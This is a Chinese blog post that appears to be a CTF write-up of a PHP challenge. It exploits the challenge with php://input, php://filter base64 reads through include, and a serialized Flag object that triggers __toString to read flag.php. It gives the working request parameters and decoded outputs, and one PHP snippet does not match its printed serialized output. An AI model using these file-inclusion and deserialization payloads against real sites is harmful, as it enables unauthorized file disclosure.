前言

怎么说呢,这题都是以前的知识,讲道理是不应该放到这里来的,但是呢…这题把前面学的知识复习了一遍,而且也是php伪协议,顺便和前面那个博客一起复习一下php伪协议吧

知识点

Writeup

我们可以看到源码:

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这…很明显要满足if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))才能进行下一步操作我一开始忘了php://input流了,瞎搞了一段时间,不说了…,可以想到在之前说过的一句话

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据

想到可以php://input绕过,那就直接上咯

/?text=php://input

并且POST
welcome to the zjctf

看到显示了welcome to the zjctf,嗯,继续…

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

可知file不可以包含为flag,又提示需要includeuseless.php,那我们就直接令它为useless.php好了

?file=useless.php&text=php://input

没有显示内容,这也正常,没输出嘛,利用filter转为base64输出

?file=php://filter/read=convert.base64-encode/resource=useless.php
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

>>> 转码后得

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

可以看到这个Flag类,有个魔术方法,可以调用file_get_contents,且file可控,考虑反序列化

include($file);  //useless.php
$password = unserialize($password);
echo $password; 

恰好下面有一个反序列化,还有echo,如果$passwordFlag类的话就会触发__toString,再读取flag.php内容,感觉是可以实现的,那现在就试试

<?php  

class Flag{  //flag.php  
    public $file = "flag.php";  

    }  

$a = New Flag();
echo serialize($a);

?>  

>>> O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

令password以GET传值,值为O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

welcome to the zjctf


oh u find it

U R SO CLOSE !///COME ON PLZ

应该是打开flag.php了…但是看不到,估计藏在源码或者注释掉了,尝试直接获取他的源码的base64

<?php  

class Flag{  //flag.php  
    public $file = "php://filter/read=convert.base64-encode/resource=useless.php";    
    }  

$a = New Flag();
echo serialize($a);

?>  

>>> O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}  

可获得源码

PGJyPm9oIHUgZmluZCBpdCA8L2JyPgoKPCEtLWJ1dCBpIGNhbnQgZ2l2ZSBpdCB0byB1IG5vdy0tPgoKPD9waHAKCmlmKDI9PT0zKXsgIAoJcmV0dXJuICgiZmxhZ3tlYzc2MzhmYS01MmJkLTRmMjAtYTkwOC05NGE5NjBhZTE0OTl9Iik7Cn0KCj8+Cg==
U R SO CLOSE !///COME ON PLZ

转码得到

<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){  
    return ("flag{ec7638fa-52bd-4f20-a908-94a960ae1499}");
}

?>

就得到flag了…

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...